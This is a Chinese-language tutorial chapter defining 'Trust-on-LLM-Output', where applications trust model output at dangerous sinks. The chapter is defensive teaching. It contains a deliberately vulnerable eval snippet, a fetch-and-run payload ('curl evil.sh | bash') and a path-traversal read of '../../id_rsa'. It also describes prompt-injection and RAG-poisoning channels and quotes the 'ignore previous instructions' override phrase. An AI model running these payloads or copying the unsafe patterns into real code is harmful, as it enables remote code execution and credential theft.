Skip to content

背景与问题定位

这一章回答一个基础问题:为什么 Trust-on-LLM-Output(ToLO,信任 LLM 输出)值得单独讨论,而不是简单归入 prompt injection(提示注入)、OWASP LLM05 或某个已有 CWE?

如果一句话总结答案:因为现有概念都解释了链路的一段,没有一个解释”框架代码是否把 LLM 输出当成可信内部数据继续使用”

这里的 LLM 指 large language model(大语言模型);sink 指安全分析中的敏感操作点,例如执行代码、访问文件、发起网络请求、执行数据库查询或渲染模板。ToLO 把焦点压在这一段:当 AIMessage.contenttool_call.arguments、parser 结果或 RAG metadata 进入执行、查询、反序列化、路径、URL、模板等 sink 时,风险已经从模型层转移到程序信任边界

这一章给你什么

读完本章,你应当能回答:

  1. ToLO 为什么是”信任模型失效”(trust model failure),而不是单一具体漏洞或新的 sink 类型。
  2. ToLO 的研究创新点为什么压在 source 端(数据入口),而不是 sink 端(危险操作)。
  3. 为什么 prompt injection 防得再好,也不能自动解决 ToLO。
  4. ToLO 与 OWASP LLM Top 10 / 传统 CWE / Prompt Injection / MITRE ATLAS / model-security 工作各自在什么抽象层级。

如果你已经能区分这些,可以直接跳到 LLM Framework Basics

这一章假设你知道什么

只要两件事。

第一,LLM 应用通常不是”用户问,模型答”这么简单。很多应用会把模型输出继续交给工具、数据库、文件系统或 workflow。比如模型输出 "read_file",agent 就调用读文件工具;模型输出 SQL,应用就查询数据库。这种”输出 → 程序动作”的转换是 ToLO 的舞台。

第二,安全分析里经常区分”数据从哪里来”和”数据去哪里”。从外部来的数据通常不可信;去往执行、数据库、网络、文件系统的数据通常敏感。ToLO 就发生在这两者之间:外部可影响的 LLM 输出,被误当成内部可信数据。

如果上面两条不熟,先读 先修知识 §1-§5。

本章术语速记

后续页面会反复使用三组符号。先把它们放在这里,避免把 ToLO 误读成”又一个 prompt injection 名字”。

符号第一次读法在 ToLO 中表示什么
S_LLMLLM-related source family由 LLM 产生、经 LLM 框架包装,或在 LLM 应用链路中被攻击者影响的数据入口。它包括 S_LLM^{direct}S_LLM^{framework}S_LLM^{parsed}S_LLM^{structured}S_LLM^{rag} 五个子集。
C1-C5attacker influence channels攻击者影响 S_LLM 的五类通道:直接提示、间接提示、RAG 索引投毒、工具响应控制、模型供应链污染。ToLO 不依赖某一种通道成立。
C_SAFEToLO-aware sanitizer family能在 LLM 输出进入 sink 前真正收窄语义的防护集合:schemaallowlistparameterizedsafe-codeccapability。普通 JSON parser 或裸 str schema 不自动算安全。

最小判定式是:

S_LLM 中的值 ──► 危险 sink
中间缺少与该 sink 类型匹配的 C_SAFE
= ToLO

ToLO 在概念地图上的位置

整个 LLM 应用安全的概念有不同抽象层级。下图把它们叠在一条数据流上,每个概念解释链路的一段:

ToLO 在 LLM 应用安全概念地图上的位置 Injection、Model Security、ToLO、CWE family 各自解释链路的不同段,OWASP LLM Top 10 与 MITRE ATLAS 横跨全程

各层在解释什么:

  • Prompt injection 解释”攻击者怎样影响 LLM 输出”(链路最左段)。
  • Model security / safety / alignment 解释”模型为什么会被诱导、污染或输出不符合策略的内容”(模型节点及其供应链)。
  • OWASP LLM Top 10 列出行业关注的所有风险类别,是清单不是技术(横跨整链)。
  • MITRE ATLAS 对照 ATT&CK 列出 AI 系统攻击战术,告诉你”攻击者能做什么”(纵向描述能力)。
  • 传统 CWE(CWE-78, CWE-89, CWE-94, CWE-502, CWE-22, CWE-918, …)分类 sink 端的危险操作(链路最右段)。
  • ToLO 解释中间这一段:框架是否把 LLM 输出当成可信内部数据使用

ToLO 不替代上述任何一个,而是补充它们之间缺失的那一格。

一句话定义

ToLO = 开发者把”攻击者可影响的 LLM 输出”错误地纳入可信内部数据域,以致下游 sink 既有的防御都不会被触发。

它不是一个具体漏洞,而是一种信任归属错误(misplaced trust)。当这种错误与不同 sink 结合后,分化为反序列化注入、命令注入、SQL 注入、SSRF、路径穿越、模板注入等具体 CWE 实例。

本站把这些分化记作:ToLO-{Deser, Exec, Shell, SQL, Path, SSRF, Template},共 7 个教学子类:

子类sink 端含义常见 CWE 对应关系
ToLO-DeserLLM 输出进入不安全反序列化CWE-502
ToLO-ExecLLM 输出作为代码字符串进入 eval / exec 等执行点CWE-94
ToLO-ShellLLM 输出拼入 shell 命令或 shell=True 调用CWE-78
ToLO-SQLLLM 输出生成或拼接数据库查询CWE-89
ToLO-PathLLM 输出作为文件路径读写CWE-22
ToLO-SSRFLLM 输出作为 URL 触发服务端请求CWE-918
ToLO-TemplateLLM 输出作为模板或模板上下文被渲染CWE-1336

这个表的重点不是”发明七个新 sink”。sink 端仍然是旧 CWE;ToLO 命名的是它们共享的 source 端信任模型失效。

为什么值得一个名字

给一个现象命名,只有在它改变工程判断时才有意义。ToLO 值得命名,因为它同时满足四个条件:

条件如果没有 ToLO 这个名字会怎样
同一根因跨 sink 重复出现eval、SQL、路径、URL、模板会被分别讨论,看不出都是”LLM 输出被信任”。
source 端不在传统工具默认模型里SAST 工具会继续追 HTTP 参数,却漏掉 AIMessage.contenttool_call.arguments、structured output 字段。
修复方向不同于经典注入经典 SQLi 可参数化;但 text-to-SQL 场景中整条 SQL 都可能由 LLM 生成,更需要 schema/RBAC/capability gate。
它独立于 prompt injection 成功率即使直接提示注入被缓解,RAG 投毒、工具返回值、模型供应链仍可能让 S_LLM 被攻击者影响。

因此 ToLO 不是命名癖好,而是把”该把什么当 untrusted source”这件事重新放回程序安全模型里。

最小例子:从无害问题到 RCE

抽象描述听起来可能像理论,这里给一段最具体的代码,让你看到”信任模型失效”长什么样:

# 一个数学问答 chain 的简化骨架
from openai import OpenAI
client = OpenAI()
def answer_math(question: str) -> str:
# 让模型生成一段 Python 表达式
response = client.chat.completions.create(
model="gpt-4o-mini",
messages=[
{"role": "system",
"content": "你是数学助手,请给出一段计算用的 Python 表达式。"},
{"role": "user", "content": question},
],
)
expr = response.choices[0].message.content # source: S_LLM^{direct}
value = eval(expr) # sink: ToLO-Exec
return f"答案是 {value}"

这就是真实 CVE 级别问题的最小骨架(对应 CVE-2023-29374 LangChain LLMMathChain)。

如果用户问 "1+1",模型输出 "1+1",eval("1+1") == 2,看起来工作正常。

如果用户(或被诱导的 RAG 文档)让模型输出一段带副作用的 Python 表达式 —— 例如 __import__('os').system('curl evil.sh | bash'),模型可能照办,eval(...) 真的按应用进程权限执行。

传统 SQL injection 里,危险数据通常直接来自 HTTP 参数。ToLO 里,危险数据先经过模型,看起来像”系统生成的代码”。如果开发者因为它来自模型就信任它,问题就发生了。

这不是说”LLM 一定会输出恶意代码”。ToLO 只说:一旦攻击者能影响 LLM 输出,应用不应该把输出当成可信代码执行

与”看起来很像”的概念对比

你以为是实际差别看后续哪一节
Prompt injectionPI 是攻击者影响输出的手段;ToLO 是输出被程序错误信任后的后果链。即使 PI 防得再好,RAG 投毒、工具响应控制、模型供应链污染仍可触发 ToLO。Differentiation §与 Prompt Injection
旧 CWE 换名字sink 端确实是旧 CWE;ToLO 的重点是新的 source class信任边界Differentiation §与经典污点
OWASP LLM05LLM05 是行业风险类别,回答”是否需要关心”;ToLO 是程序级形式化,回答”为什么会失守、如何检测、如何修复”。Differentiation §与 OWASP LLM05
模型安全 / 对齐问题Model-security 工作研究模型如何被攻击、污染、越狱或如何输出更安全内容;ToLO 假设输出已经可被影响,研究应用代码是否仍把它当可信内部值。Differentiation §与 Model Security
用 Pydantic 就安全了Schema 只保证形状,不保证内容。自由字符串字段仍可携带 SQL / 路径 / shell payload。Defensive Patterns
给 LLM 输出加个 JSON parser 就行parser 改变表示形式不等于清洗内容。json.loads(msg.content)["path"] 仍然受 LLM 影响。先修 §4

本章三个常见误解(展开版)

误解 1:“ToLO 就是 prompt injection。”

不是。PI 研究如何让 LLM 输出违背预期;ToLO 研究框架代码如何处理已经偏离预期的输出

具体差别:

  • PI 的修复手段:指令隔离、prompt 分隔符、模型对齐、内容过滤。
  • ToLO 的修复手段:schema、allowlist、参数化调用、安全解码器、能力门控、沙箱。

两者正交但相关:共同前提是”LLM 输出对攻击者可影响”,但分工不同。一个完美的 PI 防御不能保证 ToLO 不发生 —— 因为还有 RAG 投毒、工具响应控制、模型供应链污染等通道。

误解 2:“用了 JSON schema / Pydantic 就安全。”

不一定。Schema 能保证字段存在、类型正确,但如果字段是自由字符串,仍然可以装下 SQL、路径或 shell 参数。

举例:

class ToolCall(BaseModel):
name: str
path: str # ← 自由字符串,可以是 "../outside-workspace.txt" 或 "../../id_rsa"
# 模型输出经 schema 验证后:
call = ToolCall(name="read_file", path="../../id_rsa")
open(call.path).read() # ToLO-Path 仍发生

C_SAFE^{schema} 在 ToLO 防御里只算其中一类,且只对”形状越界”型问题有效

误解 3:“这是旧 CWE 换名字。”

sink 端确实是旧 CWE。eval 危险了几十年,SQL injection 也是。ToLO 的新意不在 sink,而在 source:把 LLM 推理 API 返回字段形式化为一个新的 untrusted source family

类比:HTTP 参数被识别为 source 已经 30 年。LLM 输出被识别为 source 的时间还很短。当前多数默认 SAST 规则或常见配置里,AIMessage.contenttool_call.arguments 通常还不是 source。补这一格,就是 ToLO 研究的工程价值。

自测题

下面哪条更像 ToLO?

  • A. 模型在聊天窗口里回答了错误事实。
  • B. 模型输出一个文件路径,应用直接按该路径读取服务器文件。
  • C. 用户在网页表单里直接提交 SQL,后端拼接执行。
  • D. 用户在 prompt 里塞 “ignore previous instructions”,成功让模型输出了脏话。

答案是 B

  • A 只是内容质量 / safety alignment 问题。
  • C 是传统 SQL injection,source 是 HTTP 参数,与 ToLO 无关。
  • D 是 prompt injection 本身,只是攻击者影响了输出,还没看后果。
  • B 的关键是 LLM 输出被当成可信内部路径使用,是典型 ToLO-Path。

如果选不对,回到 §“ToLO 在概念地图上的位置” 再读一遍。

阅读路线

本章两个细节页:

  1. Why ToLO Matters — 建立研究对象。ToLO 为什么是 source-anchored,为什么值得单独命名,工程上有哪些可重复的特征。
  2. ToLO 与已有概念边界 — 把 ToLO 放到 OWASP、PI、经典 CWE、Insecure Deserialization 的关系图中,精确划界。

读完后,进入第 02 章看 LLM 输出在框架里经过哪些组件、哪些转换点最容易跨过信任边界。

下一步阅读